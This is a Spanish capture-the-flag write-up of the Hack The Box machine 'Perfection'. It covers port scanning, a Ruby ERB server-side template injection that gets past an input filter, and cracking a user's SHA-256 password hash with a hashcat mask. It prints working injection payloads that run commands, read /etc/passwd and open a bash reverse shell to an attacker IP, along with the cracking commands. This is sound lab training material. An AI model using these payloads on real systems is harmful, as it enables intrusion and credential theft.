🟩HTB - Perfection

https://app.hackthebox.com/machines/Perfection

Información General

  • Nombre de la Máquina: Perfection

  • IP de la Máquina: 10.129.229.121

  • Sistema Operativo: Linux

  • Dificultad: Easy

  • Fecha de Publicación: 02 Mar 2024


Enumeration

Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

ping -c 1 10.129.229.121 -R

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.229.121 -oG allPorts
extractPorts allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80 10.129.229.121 -oN targeted

Modificando /etc/hosts

Para añadir la entrada "10.129.229.121 perfection.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.129.229.121 perfection.htb  " | sudo tee -a /etc/hosts

Inspección con Burpsuite

Al inspeccionar la pagina nos encontramos con una calculadora de notas.

Por lo que primero ingreso valores para entender cómo funciona la herramienta. De paso lo hago con Burpsuite capturando el request y enviandolo al repeater.

Burpsuite
POST /weighted-grade-calc HTTP/1.1

Host: perfection.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 196

Origin: http://perfection.htb

Connection: close

Referer: http://perfection.htb/weighted-grade

Upgrade-Insecure-Requests: 1



category1=ingles&grade1=10&weight1=10&category2=Matematica&grade2=10&weight2=20&category3=Lenguaje&grade3=10&weight3=10&category4=Ciencias&grade4=10&weight4=40&category5=Otros&grade5=10&weight5=20

También podemos encontrar cierta "seguridad".

Wappalyzer

Entonces lo que quiero hacer es bypassear el filtro el cual arroja "Malicious input blocked". Para ello debo primero saber a qué me estoy enfrentando, para eso existen herramientas como WhatWeb, Wappalyzer.

Server Side Template Injection en Ruby

Así que lo que necesitamos es realizar una SSTI (Server Side Template Injection) en ruby. Que logre bypassear ese filtro. Para ello podemos hacer uso de HackTricks: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

Lo importante es andar jugando con el url enconde para que esta funcione, aquí podemos ver como nos retorna el valor 49. Esto quiere decir que es vulnerable.

category1=ingles%0A<%25%3d+`ls+la`+%25>&grade1=10&weight1=10&category2=Matematica&grade2=10&weight2=20&category3=Lenguaje&grade3=10&weight3=10&category4=Ciencias&grade4=10&weight4=40&category5=Otros&grade5=10&weight5=20
category1=ingles%0A<%25%3d+File.open('/etc/passwd').read+%25>
&grade1=10&weight1=10&category2=Matematica&grade2=10&weight2=20&category3=Lenguaje&grade3=10&weight3=10&category4=Ciencias&grade4=10&weight4=40&category5=Otros&grade5=10&weight5=20
category1=ingles%0A<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.54/6666+0>%261'`+%25>&grade1=10&weight1=10&category2=Matematica&grade2=10&weight2=20&category3=Lenguaje&grade3=10&weight3=10&category4=Ciencias&grade4=10&weight4=40&category5=Otros&grade5=10&weight5=20

Cogemos estabilidad en la shell:

script /dev/null -c /bin/bash
export TERM=xterm
stty raw -echo; fg

Y buscamos informacion interesante (.txt, .db, .sql, .dump).

find * -type f -name "*.db" 

Identificamos el hash con hash-identifier

Entonces utilzo john y no hay buenos resultados.

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Entonces subo LinEnum.sh a la máquina para entender un poco más de ella y Voilà.

Quiere decir que nuestro usuario Susan tiene privilegios root, quiere decir que si logramos descifrar la clave ya estaríamos listos. También encuentro un archivo llamado "susan" en /var/mail/. El cual describe como está compuesta la contraseña:

Quiere decir que la clave sería algo como: susan_nasus_1234567890. Así que lo que se me ocurre es preguntarle a chatGPT:

Y qué creen, su respuesta fue de mucha ayuda:

Para crackear este hash con hashcat y la contraseña en formato "susan_nasus_XXXXXXXXXX", necesitas ajustar el modo de hashcat y especificar la máscara para los números X. Puedes hacerlo de la siguiente manera:

Primero, necesitas crear un archivo de texto llamado hashes.txt que contenga el hash que quieres crackear.

Luego, ejecuta hashcat con la siguiente sintaxis:

hashcat -m 1400 -a 3 hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d?d
-m 1400 especifica el modo de hash para SHA256.
-a 3 especifica el modo de ataque de fuerza bruta.
susan_nasus_?d?d?d?d?d?d?d?d?d?d define la máscara de la contraseña, donde ?d representa cualquier dígito.
Esto intentará crackear el hash utilizando la contraseña en el formato que especificaste. Por favor, ten en cuenta que el tiempo necesario para crackear la contraseña dependerá de la complejidad de la misma y de la potencia de tu hardware.
hashcat -m 1400 -a 3 hash.txt 'susan_nasus_?d?d?d?d?d?d?d?d?d?d'

En mi caso puede tardar hasta 3 horas. Así que a esperar el resultado. Luego accedemos como root y obtenemos la segunda flag.

Última actualización